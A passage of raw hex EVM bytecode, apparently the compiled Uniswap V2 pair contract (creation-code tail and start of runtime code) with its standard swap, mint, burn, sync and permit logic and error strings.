505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032454950373132446f6d61696e28737472696e67206e616d652c737472696e672076657273696f6e2c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e747261637429 | 608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000